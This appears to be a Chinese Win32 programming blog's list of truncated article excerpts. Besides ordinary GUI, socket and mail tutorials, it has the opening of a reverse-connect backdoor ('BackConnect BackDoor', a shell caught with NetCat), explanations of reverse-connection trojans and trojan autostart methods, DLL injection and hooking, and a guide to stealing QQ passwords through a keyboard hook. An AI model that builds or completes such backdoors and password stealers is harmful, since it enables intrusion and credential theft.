/* 1k(程序体积1kb) 反向连接,零管道后门 By Anskya说明: 不用我多说了吧..黑客一般都会使用的后门程序.. 这里只是简单的演示一下..没有添加进程隐藏功能 程序可以在Win9x,Win2k,WinXP,Win2k3上使用 程序体积只有1k(FSG压缩一下会更小)测试: 本地开启NetCat等工具,监听80端口,会返回一个Shell*/#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")#pragma comment(linker,"/INCREMENT...
#include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = " ======================== BackConnect BackDoor V0.1 ======================== ========= Welcome to Http://www.hackerxfiles.net ========= "; WSADATA WSAData;SOCKET sock;SOCKADDR_I...
随着安全事件的不断涌现,人们的主机防护意识越来越强,各种各样的防火墙和反病毒软件都开始对来自外部的网络连接进行监控,所以传统的采用正向连接的木马已经不再适应现在的网络环境了。为了能够继续进行远程控制,木马不得不从体制上进行改变,这就出现了采用反向连接技术的“反弹型”木马。“反弹”木马现在已经见得比较多了,但是对其技术细节介绍的文章还是比较少。从本质上来说,反向连接和正向连接的区别并不大。在正向连接的情况下,服务器端也就是被控制端,在编程实现的时候是采用服务器端的编程方法的;而控制端,在编程实现的时候采用的是客户端的编程方法。当我们采用反弹的方法编程的时候,实际上就是将被控制端变成了采...
近来在弄远程DLL注入,在DLL中创建了窗口,因某种需要,需获取宿主窗口的句柄,找了n多资料都没有很好的解决办法,然后找到如下一篇文章:
通过进程ID获得该进程主窗口的句柄 一个进程可以拥有很多主窗口,也可以不拥有主窗口,所以这样的函数是不存在的,所幸的是,相反的函数是有的。所以我们可以调用EnumWindows来判断所有的窗口是否属于这个进程。typedef struct tagWNDINFO...{DWORD dwProcessId;HWND hWnd;} WNDINFO, *LPWNDINFO;
BOOL CALLBACK YourEnumProc(HWND hW...
编辑框(Edit Box)控件实际上是一个简易的正文编辑器,用户可以在编辑框中输入并编辑正文。编辑框既可以是单行的,也可以是多行的,多行编辑框是从零开始编行号的.在一个多行编辑框中,除了最后一行外,每一行的结尾处都有一对回车换行符(用"\r\n"表示).这对回车换行符是正文换行的标志,在屏幕上是不可见的.
编辑框控件会向父窗口发出如表6.5所示的控件通知消息.
表6.5
消息
含义
EN_CHANGE
编辑框的内容被用户改变了。与EN_UPDATE不同,该消息是在编辑框显示的正文被刷新后才发出的。
EN_ERRSPACE
...
Shell_NotifyIcon 托盘的函数
hwnd 32位的窗口句柄。窗口可以是任何类型的屏幕对象,因为Win32能够维护大多数可视对象的句柄(窗口、对话框、按钮、编辑框等)。 message 用于区别其他消息的常量值,这些常量可以是Windows单元中预定义的常量,也可以是自定义的常量。 wParam 通常是一个与消息有关的常量值,也可能是窗口或控件的句柄。 lParam 通常是一个指向内存中数据的指针。由于W P a r a m、l P a r a m和P o i n t e r都是3 2位的,因此,它们之间可以相互转换。 WM_NULL = $0000; W...
下面的代码演示了如何得到GetOpenFileName允许多选的情况下选择的文件名#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd){ OPENFILENAME ofn; TCHAR szOpenFileNames[80*MAX_PATH]; TCHAR szPath[MAX_PATH]; TCHAR szFileName[80*MAX_PATH]; TCHAR* p; int nLen = 0;
ZeroM...
在阅读这篇文章之前,你可能要先阅读http://www.codeproject.com/system/inject2exe.asp#PortableExecutablefileformat2
和http://blog.csdn.net/XXKKFF/archive/2007/03/06/1522632.aspx
下面这段代码是一个动态链接库的源码,它用于挂接MessageBoxW的调用
#include <windows.h>#include <ImageHlp.h> //for ImageDirectoryEntryToData#includ...
一、简述
实际上,本文的设计,所使用的只是 Simple MAPI,可以把它看作是MAPI(Messaging Application Programming Interface)的一个子集。不过大多数时候,Simple MAPI提供的功能已经足够使用。本文阐述了一个简单的,用于发送一个带附件的邮件的功能实现。如果需要更复杂的功能,我认为还是老老实实封装SMTP和 POP3比较好
二、Simple MAPI 介绍
Simple MAPI 包括一组很容易使用的函数以及相关的数据结构,可以在C/C++、VB等多种语言中使用。本文是基于VC设计的。
实现一个完整的邮件发送过程,...
陆其明 译
原文:http://www.codeproject.com/cpp/complex_declarations.asp 作者:Vikram A Punathambekar
介绍
曾经碰到过让你迷惑不解、类似于int * (* (*fp1) (int) ) [10];这样的变量声明吗?本文将由易到难,一步一步教会你如何理解这种复杂的C/C++声明:我们将从每天都能碰到的较简单的声明入手,然后逐步加入 const修饰符和typedef,还有函数指针,最后介绍一个能够让你准确地理解任何C/C++声明的“右左法则”。需要强调一下的是,复杂的C/C+ +声明并不是好的编程风格;...
木马是随计算机或Windows的启动而启动并掌握一定的控制权的,其启动方式可谓多种多样,通过注册表启动、通过System.ini启动、通过 某些特定程序启动等,真是防不胜防。其实只要能够遏制住不让它启动,木马就没什么用了,这里就简单说说木马的启动方式,知己知彼百战不殆嘛。
一、通过"开始\程序\启动"
隐蔽性:2星
应用程度:较低
这也是一种很常见的方式,很多正常的程序都用它,大家常用的QQ就是用这种方式实现自启动的,但木马却很少用它。因为启动组的每人会会出现在 “系统配置实用程序”(msconfig.exe,以下简称msconfig)中。事实上,出现在“开始...
#define WIN32_LEAN_AND_MEAN #include <stdio.h> #include <windows.h> #include <commctrl.h> int main(void) { HWND hwnd=FindWindow(NULL, "Stealing Program's Memory: ListView"); HWND listview=FindWindowEx(hwnd, NULL, "SysListView32", NULL); int count=(int)SendMessage(listview, LVM_GETITEMCOUNT, 0, 0)...
RegisterHotKey()实现Alt+E的快捷键组合功能[问题提出] 有的程序需要自定义组合键完成一定功能,如何实现? [解决方法] RegisterHotKey函数原型及说明: BOOL RegisterHotKey( HWND hWnd, // 接收WM_HOTKEY的窗口句柄 int id, // hot key的ID号. UINT fsModifiers, // 响应那个热键. UINT vk ...
1. 如何激活当前屏幕保护程序// 激活当前屏幕保护程序, jingzhou xuPostMessage(WM_SYSCOMMAND,SC_SCREENSAVE,0);2. 如何禁止/启用屏幕保护及电源管理static UINT dss_GetList[] = {SPI_GETLOWPOWERTIMEOUT, SPI_GETPOWEROFFTIMEOUT, SPI_GETSCREENSAVETIMEOUT};static UINT dss_SetList[] = {SPI_SETLOWPOWERTIMEOUT, SPI_SETPOWEROFFTIMEOUT, SPI_SETSCREENS...
第一种:
首先要包含这个头文件:#include <afxinet.h>
CInternetSession mySession; CHttpFile* myHttpFile=NULL; CString myData; myHttpFile=(CHttpFile*)mySession.OpenURL(url,1,INTERNET_FLAG_DONT_CACHE,NULL,0); for(int i=0;i<20&&myHttpFile->ReadString(myData);i++) { strXMLReturn+=myData+" "; /...
一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码!通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了!我准备分为四部分来说明这个整个过程: (1)寻找QQ登陆界面。 (2)安装钩子 (3)钩子函数的解释. (4)处理密码。 以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇...
最近研究怎么样使用HOOK拦截其他应用程序的消息,于是就动手写了一个钩子程序来挂到最常用的通讯及时通讯工具MSN,虽然没有什么实际意义,但作为学习研究却能够帮助我们理解利用HOOK是怎么样将自己编写的DLL注入已经存在的程序空间中的。
我们需要做的是通过我们自己编写的应用程序去拦截别人写好的应用程序消息,实际上这是在两个进程之间进行的,难度就在这里,如果是同一个进程什么都好办,只要将系统响应WINDOWS消息的处理函数修改为我们自己编写的函数就可以,但现在不能这么做,因为两个进程有各自的进程地址空间,理论上你没有办法直接去访问别的进程的地址空间,那么怎么办来?办法还是很多的,这里仅仅介...
随着计算机网络化的深入,计算机网络编程在程序设计的过程中变得日益重要。许多文章都曾经介绍过用VC++进行Socket编程的方法。但由于都是直接利用动态连接库wsock32.dll进行操作,实现比较繁琐。其实,VC++的MFC类库中提供了CAsyncSocket这样一个套接字类,用它来实现Socket编程,是非常方便的。
客户端
创建一个Dialog Based项目:CSockClient。设计一对话框,增加ID_Connect(连接)、ID_Send(发送)、ID_Exit(关闭)按钮,增加ListBox控件IDC_LISTMSG和Edit控件IDC_EDITMSG...
//1:显示文件进度
//2:可以随时终止传输过程
//发送数据线程
UINT SendDataThread(LPVOID lpParam);
//接收数据线程
UINT ReceiveDataThread(LPVOID lpParam);
//发送数据按钮消息响应函数
void CTzg004Dlg::OnButtonSend()
{
// TODO: Add your control notification handler code here
//初始化数据发送结束标志
m_bSendEnd=FALSE;
//...
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。钩子的类型 一. 按事件分类,有如下的几种常用类型 (1)...